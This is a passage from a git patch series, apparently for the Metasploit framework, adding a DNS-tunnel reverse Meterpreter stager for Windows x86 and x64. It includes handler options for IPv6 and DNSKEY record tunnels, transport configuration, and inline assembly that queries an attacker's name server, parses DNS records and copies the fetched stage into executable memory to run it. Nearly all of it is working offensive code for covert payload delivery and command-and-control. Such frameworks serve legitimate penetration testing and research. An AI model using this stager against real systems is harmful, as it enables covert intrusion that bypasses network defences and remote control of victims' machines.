- sock.put(c1.update(buf1)) - buf1 = socks[0].read(4096) - end - sock.close() - } - - Rex::ThreadFactory.spawn('AESEncryption', false) { - c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') - c2.decrypt - c2.key=key - iv="" - while iv.length < 16 - iv << sock.read(16-iv.length) - end - c2.iv = iv - buf2 = sock.read(4096) - while buf2 and buf2 != "" - socks[0].put(c2.update(buf2)) - buf2 = sock.read(4096) - end - socks[0].close() - } - - return socks[1] - end + # # Nothing to speak of. diff --git a/lib/msf/core/payload/windows/reverse_dns.rb b/lib/msf/core/payload/windows/reverse_dns.rb index 3a7a8683b9f0..48b288484da8 100644 --- a/lib/msf/core/payload/windows/reverse_dns.rb +++ b/lib/msf/core/payload/windows/reverse_dns.rb @@ -435,6 +435,13 @@ def asm_functions_dns() ^ asm end + + # + # Do not transmit the stage over the connection. We handle this via DNS + # + def stage_over_connection? + false + end end diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 1c9b79b56221..cbc97265ac36 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -450,11 +450,11 @@ def asm_reverse_http(opts={}) end # - # Do not transmit the stage over the connection. We handle this via HTTPS + # Do not transmit the stage over the connection. We handle this via DNS # - def stage_over_connection? - false - end + #def stage_over_connection? + # false + #end # # Always wait at least 20 seconds for this payload (due to staging delays) diff --git a/lib/msf/core/payload/windows/x64/reverse_dns.rb b/lib/msf/core/payload/windows/x64/reverse_dns.rb index 468c9dd48d19..4bcfc06af997 100644 --- a/lib/msf/core/payload/windows/x64/reverse_dns.rb +++ b/lib/msf/core/payload/windows/x64/reverse_dns.rb @@ -425,6 +425,9 @@ def asm_functions_dns() asm end + def stage_over_connection? + false + end end diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index e17302e9d786..cf3810cf8670 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -146,8 +146,13 @@ def init_meterpreter(sock,opts={}) end self.response_timeout = opts[:timeout] || self.class.default_timeout - self.send_keepalives = true - + + if opts[:send_keepalives] == false + self.send_keepalives = false + else + self.send_keepalives = true + end + # TODO: Clarify why we don't allow unicode to be set in initial options # self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true self.encode_unicode = false diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 04ca6689f91d..1f0a73e2b10e 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -49,7 +49,7 @@ class ClientCore < Extension VALID_TRANSPORTS = { 'reverse_tcp' => METERPRETER_TRANSPORT_SSL, - 'reverse_dns' => METERPRETER_TRANSPORT_DNS, + 'reverse_dns' => METERPRETER_TRANSPORT_DNS, 'reverse_http' => METERPRETER_TRANSPORT_HTTP, 'reverse_https' => METERPRETER_TRANSPORT_HTTPS, 'bind_tcp' => METERPRETER_TRANSPORT_SSL From 8ed1d8bc9dcd824fa99dc76483c6bcc91fbc16e5 Mon Sep 17 00:00:00 2001 From: eik00d Date: Thu, 26 Oct 2017 21:32:13 +0100 Subject: [PATCH 13/15] New options and DNSKEY tunnel --- lib/msf/core/handler/reverse_dns.rb | 6 ++++- lib/msf/core/opt.rb | 24 ++++++++++------- lib/msf/core/payload/transport_config.rb | 7 ++--- lib/msf/core/payload/windows/reverse_dns.rb | 1 + .../core/payload/windows/x64/reverse_dns.rb | 1 + lib/rex/payloads/meterpreter/config.rb | 26 ++++++++++++------- lib/rex/post/meterpreter/client_core.rb | 6 +---- lib/rex/post/meterpreter/packet.rb | 4 --- 8 files changed, 43 insertions(+), 32 deletions(-) diff --git a/lib/msf/core/handler/reverse_dns.rb b/lib/msf/core/handler/reverse_dns.rb index 0fcca017b211..edc5bce844a2 100644 --- a/lib/msf/core/handler/reverse_dns.rb +++ b/lib/msf/core/handler/reverse_dns.rb @@ -42,8 +42,10 @@ def initialize(info = {}) Opt::LPORT(4444), OptString.new('DOMAIN', [true, 'DOMAIN', '']), OptString.new('SERVER_ID', [true, 'SERVER ID', 'toor']), - OptAddress.new('RHOST', [true, 'HANDLER BIND IP', '']), + OptEnum.new('REQ_TYPE', [ true, 'Type of DNS tunnel', 'IPv6', ['IPv6', 'DNSKEY']]), + OptAddress.new('RHOST', [true, 'DNX PROXY IP', '']), OptAddress.new('NS_IP', [false, 'NS SERVER IP', '']), + ], Msf::Handler::ReverseDns) self.conn_threads = [] @@ -91,11 +93,13 @@ def start_handler rhost = datastore['RHOST'] lport = datastore['LPORT'] server_id = datastore['SERVER_ID'] + req_type = datastore['REQ_TYPE'] # Ignore this if one of the required options is missing return if not rhost return if not lport return if not server_id + return if not req_type # Only try the same host/port combination once phash = rhost + ':' + lport.to_s diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index cc73fce325cf..95fa3f2f2b33 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -30,17 +30,21 @@ def self.CPORT(default=nil, required=false, desc="The local client port") def self.LHOST(default=nil, required=true, desc="The listen address") Msf::OptAddressLocal.new(__method__.to_s, [ required, desc, default ]) end - - # @return [OptAddress] + + # @return [OptAddress] def self.DOMAIN(default=nil, required=true, desc="Domain name") Msf::OptString.new(__method__.to_s, [ required, desc, default ]) end - - # @return [OptAddress] + + # @return [OptEnum] + def self.REQ_TYPE(default=nil, required=true, desc="Domain name") + Msf::OptEnum.new(__method__.to_s, [ required, desc, 'IPv6', ['IPv6', 'DNSKEY']]) + end + # @return [OptAddress] def self.NS_IP(default=nil, required=true, desc="Name server adddress") Msf::OptAddress.new(__method__.to_s, [ required, desc, default ]) end - + # @return [OptPort] def self.LPORT(default=nil, required=true, desc="The listen port") Msf::OptPort.new(__method__.to_s, [ required, desc, default ]) @@ -73,8 +77,9 @@ class << self alias builtin_chost CHOST alias builtin_cport CPORT alias builtin_lhost LHOST - alias builtin_domain DOMAIN - alias builtin_ns_ip NS_IP + alias builtin_domain DOMAIN + alias builtin_ns_ip NS_IP + alias builtin_req_type REQ_TYPE alias builtin_lport LPORT alias builtin_proxies Proxies alias builtin_rhost RHOST @@ -84,8 +89,9 @@ class << self CHOST = CHOST() CPORT = CPORT() LHOST = LHOST() - DOMAIN = DOMAIN() - NS_IP = NS_IP() + DOMAIN = DOMAIN() + NS_IP = NS_IP() + REQ_TYPE = REQ_TYPE() LPORT = LPORT() Proxies = Proxies() RHOST = RHOST() diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index b3734c56cb5b..80f55ab6058e 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -37,9 +37,10 @@ def transport_config_bind_tcp(opts={}) def transport_config_reverse_dns(opts={}) ds = opts[:datastore] || datastore { - scheme: 'dns', - lhost: ds['DOMAIN'], - nhost: ds['NS_IP'], + scheme: 'dns', + lhost: ds['DOMAIN'], + req_type: ds['REQ_TYPE'], + nhost: ds['NS_IP'], server_id: ds['SERVER_ID'] }.merge(timeout_config(opts)) end diff --git a/lib/msf/core/payload/windows/reverse_dns.rb b/lib/msf/core/payload/windows/reverse_dns.rb index 48b288484da8..8ba28bdc63f0 100644 --- a/lib/msf/core/payload/windows/reverse_dns.rb +++ b/lib/msf/core/payload/windows/reverse_dns.rb @@ -29,6 +29,7 @@ def generate(opts={}) ns_server: ds['NS_SERVER'], domain: ds['DOMAIN'], server_id: ds['SERVER_ID'], + req_type: ds['REQ_TYPE'] || "IPv6", retry_count: ds['ReverseConnectRetries'], reliable: false } diff --git a/lib/msf/core/payload/windows/x64/reverse_dns.rb b/lib/msf/core/payload/windows/x64/reverse_dns.rb index 4bcfc06af997..965248cdd3e4 100644 --- a/lib/msf/core/payload/windows/x64/reverse_dns.rb +++ b/lib/msf/core/payload/windows/x64/reverse_dns.rb @@ -30,6 +30,7 @@ def generate(opts={}) domain: ds['DOMAIN'], server_id: ds['SERVER_ID'], retry_count: ds['ReverseConnectRetries'], + req_type: ds['REQ_TYPE'] || "IPv6", reliable: false } diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 71df4381c5b6..789337e46dcf 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -80,7 +80,21 @@ def transport_block(opts) end if lhost && opts[:scheme].start_with?('dns') - url = "#{opts[:scheme]}://#{lhost}" + ns_server = opts[:nhost] + server_id = opts[:server_id] + client_id = '0' + + case opts[:req_type] + when 'IPv6' + req_type = 28 + when 'DNSKEY' + req_type = 48 + else + req_type = 28 + end + + url = "#{opts[:scheme]}://#{lhost.to_s}?ns=#{ns_server.to_s}&sid=#{server_id.to_s}&req=#{req_type.to_s}&cli=#{client_id.to_s}&" + else url = "#{opts[:scheme]}://#{lhost}" url << ":#{opts[:lport]}" if opts[:lport] @@ -88,7 +102,7 @@ def transport_block(opts) url << "?#{opts[:scope_id]}" if opts[:scope_id] end - # if the transport URI is for a HTTP payload we need to add a stack + # if the transport URI is for a HTTP or DNS payload we need to add a stack # of other stuff pack = 'A*VVV' transport_data = [ @@ -122,14 +136,6 @@ def transport_block(opts) # update the packing spec pack << 'A*A*A*A*A*' - elsif url.start_with?('dns') - ns_server = to_str(opts[:nhost] || '', NS_NAME_SIZE) - server_id = to_str(opts[:server_id] || 'toor', 256) - client_id = to_str('',2) - transport_data << ns_server - transport_data << client_id - transport_data << server_id - pack << 'A*A*A*' end # return the packed transport information diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 1f0a73e2b10e..6b29fb300da8 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -160,11 +160,7 @@ def transport_list :ua => t.get_tlv_value(TLV_TYPE_TRANS_UA), :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST), :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER), - :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS), - #:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH), - :nhost => t.get_tlv_value(TLV_TYPE_TRANS_NSHOST), - :client_id => t.get_tlv_value(TLV_TYPE_TRANS_CLIENT_ID), - :server_id => t.get_tlv_value(TLV_TYPE_TRANS_SERVER_ID) + :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS) } } diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 8304c49b5b4e..e1d175cd6086 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -108,10 +108,6 @@ module Meterpreter TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462 -TLV_TYPE_TRANS_NSHOST = TLV_META_TYPE_STRING | 470 -TLV_TYPE_TRANS_CLIENT_ID = TLV_META_TYPE_STRING | 471 -TLV_TYPE_TRANS_SERVER_ID = TLV_META_TYPE_STRING | 472 - TLV_TYPE_RSA_PUB_KEY = TLV_META_TYPE_STRING | 550 TLV_TYPE_SYM_KEY_TYPE = TLV_META_TYPE_UINT | 551 TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552 From 671a9253f468d8ac436bb73f980db7b159a07877 Mon Sep 17 00:00:00 2001 From: eik00d Date: Sun, 29 Oct 2017 02:44:23 +0100 Subject: [PATCH 14/15] Shellcodes almost done --- lib/msf/core/handler/reverse_dns.rb | 2 +- lib/msf/core/opt.rb | 2 +- lib/msf/core/payload/windows/reverse_dns.rb | 99 +++++++++++++++---- .../core/payload/windows/x64/reverse_dns.rb | 84 +++++++++++++--- lib/rex/payloads/meterpreter/config.rb | 2 +- 5 files changed, 154 insertions(+), 35 deletions(-) diff --git a/lib/msf/core/handler/reverse_dns.rb b/lib/msf/core/handler/reverse_dns.rb index edc5bce844a2..3bbff9846da4 100644 --- a/lib/msf/core/handler/reverse_dns.rb +++ b/lib/msf/core/handler/reverse_dns.rb @@ -42,7 +42,7 @@ def initialize(info = {}) Opt::LPORT(4444), OptString.new('DOMAIN', [true, 'DOMAIN', '']), OptString.new('SERVER_ID', [true, 'SERVER ID', 'toor']), - OptEnum.new('REQ_TYPE', [ true, 'Type of DNS tunnel', 'IPv6', ['IPv6', 'DNSKEY']]), + OptEnum.new('REQ_TYPE', [ true, 'Type of DNS tunnel', 'DNSKEY', ['IPv6', 'DNSKEY']]), OptAddress.new('RHOST', [true, 'DNX PROXY IP', '']), OptAddress.new('NS_IP', [false, 'NS SERVER IP', '']), diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 95fa3f2f2b33..a59abb3307eb 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -38,7 +38,7 @@ def self.DOMAIN(default=nil, required=true, desc="Domain name") # @return [OptEnum] def self.REQ_TYPE(default=nil, required=true, desc="Domain name") - Msf::OptEnum.new(__method__.to_s, [ required, desc, 'IPv6', ['IPv6', 'DNSKEY']]) + Msf::OptEnum.new(__method__.to_s, [ required, desc, 'DNSKEY', ['IPv6', 'DNSKEY']]) end # @return [OptAddress] def self.NS_IP(default=nil, required=true, desc="Name server adddress") diff --git a/lib/msf/core/payload/windows/reverse_dns.rb b/lib/msf/core/payload/windows/reverse_dns.rb index 8ba28bdc63f0..9235cb843b95 100644 --- a/lib/msf/core/payload/windows/reverse_dns.rb +++ b/lib/msf/core/payload/windows/reverse_dns.rb @@ -29,7 +29,7 @@ def generate(opts={}) ns_server: ds['NS_SERVER'], domain: ds['DOMAIN'], server_id: ds['SERVER_ID'], - req_type: ds['REQ_TYPE'] || "IPv6", + req_type: ds['REQ_TYPE'] || "DNSKEY", retry_count: ds['ReverseConnectRetries'], reliable: false } @@ -94,16 +94,28 @@ def required_space def asm_reverse_dns(opts={}) retry_count = [opts[:retry_count].to_i, 1000].max - domain = "#{opts[:server_id]}.#{opts[:domain]}" + domain = "#{opts[:server_id]}.#{opts[:domain]}" + req_type = opts[:req_type] ns_server = "0x%.8x" % Rex::Socket.addr_aton(opts[:ns_server]||"0.0.0.0").unpack("V").first domain_length= domain.length + 18 alloc_stack = (domain_length) + (4 - (domain_length % 4)) reliable = opts[:reliable] + dns_options = 0x248 + request_type = 0x1c + + if req_type == "DNSKEY" + dns_options |= 2 + request_type = 0x30 + end + + # + # Shellcode is not optimize to best size, TODO... + # //TODO optimie shellcode! asm = %Q^ ; Input: EBP must be the address of 'api_call'. - + ;;;;;;;;; Load DNS API lib ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; push 'pi' ; Push the bytes 'Dnsapi',0,0 onto the stack. push 'Dnsa' ; ... @@ -179,8 +191,8 @@ def asm_reverse_dns(opts={}) push eax mov ecx, [ebp + 8] ; NS IP push ecx - push 0x248 - push 0x1c + push #{dns_options} + push #{request_type} mov edx, [ebp] ; domain push edx push #{Rex::Text.block_api_hash('Dnsapi.dll', 'DnsQuery_A')} @@ -247,11 +259,8 @@ def asm_reverse_dns(opts={}) call increment call call_dns test eax, eax - jne parse_end_br + jne parse_end_br mov eax, [esp + 0x18] - add eax, 0x18 - je parse_end_b - sub eax, 0x18 push eax mov esi, esp ; pointer to DNS_RECORD mov [esi], eax ; ESI < -pointer to DNS_RECORD @@ -259,7 +268,13 @@ def asm_reverse_dns(opts={}) mov edx, [ebx] mov [esi], edx ; save Next IP mov edx, ebx - add edx, 0x18 ; EDX < -IP pointer + ^ + + if req_type == "IPv6" # IPv6 + + asm << %Q^ + + add edx, 0x18 ; EDX < -IP pointer movzx ecx, byte ptr[edx + 1] ; header byte 1 cmp cl, 0x81 ; If this is header flag jne parse_end_b @@ -274,9 +289,30 @@ def asm_reverse_dns(opts={}) cmp eax, 1 jne parse_end_b pop eax - mov eax, [edx + 0xb] ; SIZE of stage 1 + mov eax, [edx + 0xb] ; SIZE of stage 1 mov [esp + 0x20], eax jmp parse_end + + ^ + else # DNSKKEY + asm << %Q^ + + add edx,0x20 + movzx ecx,byte ptr ds:[edx] ; check status + test ecx,ecx ; If this is header flag + jne parse_end_b + + get_size: + pop eax + mov eax, dword ptr ds:[edx + 0x7] ; get size + mov [esp + 0x20], eax + jmp parse_end + ^ + end + + ################### + asm << %Q^ + parse_end_br: xor eax, eax jmp parse_end @@ -286,8 +322,7 @@ def asm_reverse_dns(opts={}) parse_end: test eax, eax je get_header - - + mov eax, esp mov byte ptr[eax + 0x30], '0' ; switch to data mode @@ -318,14 +353,16 @@ def asm_reverse_dns(opts={}) call call_dns test eax, eax jne parse_end_db2 - mov eax, [esp + 0x18] - add eax, 0x18 - je parse_end_db - sub eax, 0x18 push eax ; ESI <-pointer to DNS_RECORD mov eax, [esp + 0x20] - push eax ; save current offset + push eax ; save current offset + + ^ + + if req_type == "IPv6" #IPv6 + asm << %Q^ + ip_enum: mov eax, [esp+4] test eax, eax @@ -372,7 +409,31 @@ def asm_reverse_dns(opts={}) rep movsb ; copy sub [esp + 0x28], eax jmp ip_enum - + ^ + else # DNSKKEY + asm << %Q^ + mov eax, [esp+4] ; EAX <-current pointer + test eax, eax + je copy_end + mov ecx, dword ptr ds:[eax + 0x1c] ; ECX <- current size + test ecx, ecx + je parse_end_db + sub ecx, 3 + add [esp + 0x24], ecx + sub [esp + 0x28], ecx + mov esi, eax + add esi, 0x23 ; ESI <- source + mov ebx, [esp] + mov edi, [esp + 0x2c] + add edi, ebx ; dst - RWX mem + cld + rep movsb ; copy + + ^ + end + + ######################### + asm << %Q^ copy_end: add esp, 0x8 mov eax, [esp + 0x20] diff --git a/lib/msf/core/payload/windows/x64/reverse_dns.rb b/lib/msf/core/payload/windows/x64/reverse_dns.rb index 965248cdd3e4..f4e41d55cce6 100644 --- a/lib/msf/core/payload/windows/x64/reverse_dns.rb +++ b/lib/msf/core/payload/windows/x64/reverse_dns.rb @@ -30,7 +30,7 @@ def generate(opts={}) domain: ds['DOMAIN'], server_id: ds['SERVER_ID'], retry_count: ds['ReverseConnectRetries'], - req_type: ds['REQ_TYPE'] || "IPv6", + req_type: ds['REQ_TYPE'] || "DNSKEY", reliable: false } @@ -95,13 +95,25 @@ def required_space def asm_reverse_dns(opts={}) retry_count = [opts[:retry_count].to_i, 1000].max - domain = "#{opts[:server_id]}.#{opts[:domain]}" + domain = "#{opts[:server_id]}.#{opts[:domain]}" + req_type = opts[:req_type] ns_server = "0x%.8x" % Rex::Socket.addr_aton(opts[:ns_server]||"0.0.0.0").unpack("V").first domain_length= domain.length + 18 alloc_stack = (domain_length) + (8 - (domain_length % 8)) reliable = opts[:reliable] + dns_options = 0x248 + request_type = 0x1c + + if req_type == "DNSKEY" + dns_options |= 2 + request_type = 0x30 + end + + # + # Shellcode is not optimize to best size, BETA! + # //TODO optimie shellcode! asm = %Q^ ; Input: RBP must be the address of 'api_call'. @@ -182,8 +194,8 @@ def asm_reverse_dns(opts={}) mov rax, [rbp + 0x8] ; result push rax mov r9, [rbp + 0x10] ; NS IP - mov r8d, 0x248 - mov dx, 0x1c + mov r8d, #{dns_options} + mov dx, #{request_type} mov rcx, [rbp] ; domain mov r10, #{Rex::Text.block_api_hash('Dnsapi.dll', 'DnsQuery_A')} call r15 @@ -251,9 +263,6 @@ def asm_reverse_dns(opts={}) test eax, eax jne parse_end_br mov rax, [rsp + 0x30] - add rax, 0x18 - je parse_end_b - sub rax, 0x18 push rax mov rsi, rsp ; pointer to DNS_RECORD mov [rsi], rax ; ESI < -pointer to DNS_RECORD @@ -261,6 +270,11 @@ def asm_reverse_dns(opts={}) mov rdx, [rbx] mov [rsi], rdx ; save Next IP mov rdx, rbx + ^ + + if req_type == "IPv6" # IPv6 + + asm << %Q^ add rdx, 0x20 ; EDX < -IP pointer movzx ecx, byte ptr[rdx + 1] ; header byte 1 cmp cl, 0x81 ; If this is header flag @@ -279,6 +293,26 @@ def asm_reverse_dns(opts={}) mov eax, [rdx + 0xb] ; SIZE of stage 1 mov [rsp + 0x40], rax jmp parse_end + ^ + else # DNSKKEY + asm << %Q^ + + add rdx,0x28 + movzx ecx,byte ptr ds:[rdx] ; check status + test ecx,ecx ; If this is header flag + jne parse_end_b + + get_size: + pop rax + mov eax, dword ptr ds:[rdx + 0x7] ; get size + mov [rsp + 0x40], eax + jmp parse_end + + ^ + + end + + asm << %Q^ parse_end_br: xor rax, rax jmp parse_end @@ -324,20 +358,22 @@ def asm_reverse_dns(opts={}) jne parse_end_db2 mov rax, [rsp + 0x30] - add rax, 0x18 - je parse_end_b - sub rax, 0x18 push rax mov rax, [rsp + 0x40] push rax + ^ + + if req_type == "IPv6" #IPv6 + asm << %Q^ + ip_enum: mov rax, [rsp+8] test rax, rax je copy_end - mov rbx, [rax] ; EBX <-current pointer + mov rbx, [rax] ; RBX <-current pointer mov [rsp + 8], rbx ; save Next IP mov rdx, rax - add rdx, 0x20 ; EDX <-IP pointer + add rdx, 0x20 ; RDX <-IP pointer xor rax, rax movzx ecx, byte ptr[rdx + 1] ; header byte 1, size for IP @@ -375,7 +411,29 @@ def asm_reverse_dns(opts={}) rep movsb ; copy sub [rsp + 0x50], rax jmp ip_enum - + ^ + else #DNSKEY + asm << %Q^ + mov rax, [rsp + 8] ; RAX <-current pointer + test rax, rax + je copy_end + mov ecx, dword ptr ds:[rax + 0x24] ; RCX <- current size + test ecx, ecx + je parse_end_db + sub rcx, 3 + add [rsp + 0x48], rcx + sub [rsp + 0x50], rcx + mov rsi, rax + add rsi, 0x23 ; RSI <- source + mov rbx, [rsp] + mov rdi, [rsp + 0x58] + add rdi, rbx ; dst - RWX mem + cld + rep movsb ; copy + ^ + end + + asm << %Q^ copy_end: add rsp, 0x10 mov rax, [rsp + 0x40] diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 789337e46dcf..f68f5d07f222 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -90,7 +90,7 @@ def transport_block(opts) when 'DNSKEY' req_type = 48 else - req_type = 28 + req_type = 48 end url = "#{opts[:scheme]}://#{lhost.to_s}?ns=#{ns_server.to_s}&sid=#{server_id.to_s}&req=#{req_type.to_s}&cli=#{client_id.to_s}&" From fc9ff114d9ec69f865205d60aa4855828f39da96 Mon Sep 17 00:00:00 2001 From: eik00d Date: Sun, 29 Oct 2017 12:08:02 +0100 Subject: [PATCH 15/15] Bad offset in x64 --- lib/msf/core/payload/windows/reverse_dns.rb | 2 +- lib/msf/core/payload/windows/x64/reverse_dns.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_dns.rb b/lib/msf/core/payload/windows/reverse_dns.rb index 9235cb843b95..1b2e5ddfd55f 100644 --- a/lib/msf/core/payload/windows/reverse_dns.rb +++ b/lib/msf/core/payload/windows/reverse_dns.rb @@ -26,7 +26,7 @@ module Payload::Windows::ReverseDns def generate(opts={}) ds = opts[:datastore] || datastore conf = { - ns_server: ds['NS_SERVER'], + ns_server: ds['NS_IP'], domain: ds['DOMAIN'], server_id: ds['SERVER_ID'], req_type: ds['REQ_TYPE'] || "DNSKEY", diff --git a/lib/msf/core/payload/windows/x64/reverse_dns.rb b/lib/msf/core/payload/windows/x64/reverse_dns.rb index f4e41d55cce6..4cf484fe834d 100644 --- a/lib/msf/core/payload/windows/x64/reverse_dns.rb +++ b/lib/msf/core/payload/windows/x64/reverse_dns.rb @@ -26,7 +26,7 @@ module Payload::Windows::ReverseDns_x64 def generate(opts={}) ds = opts[:datastore] || datastore conf = { - ns_server: ds['NS_SERVER'], + ns_server: ds['NS_IP'], domain: ds['DOMAIN'], server_id: ds['SERVER_ID'], retry_count: ds['ReverseConnectRetries'], @@ -424,7 +424,7 @@ def asm_reverse_dns(opts={}) add [rsp + 0x48], rcx sub [rsp + 0x50], rcx mov rsi, rax - add rsi, 0x23 ; RSI <- source + add rsi, 0x2B ; RSI <- source mov rbx, [rsp] mov rdi, [rsp + 0x58] add rdi, rbx ; dst - RWX mem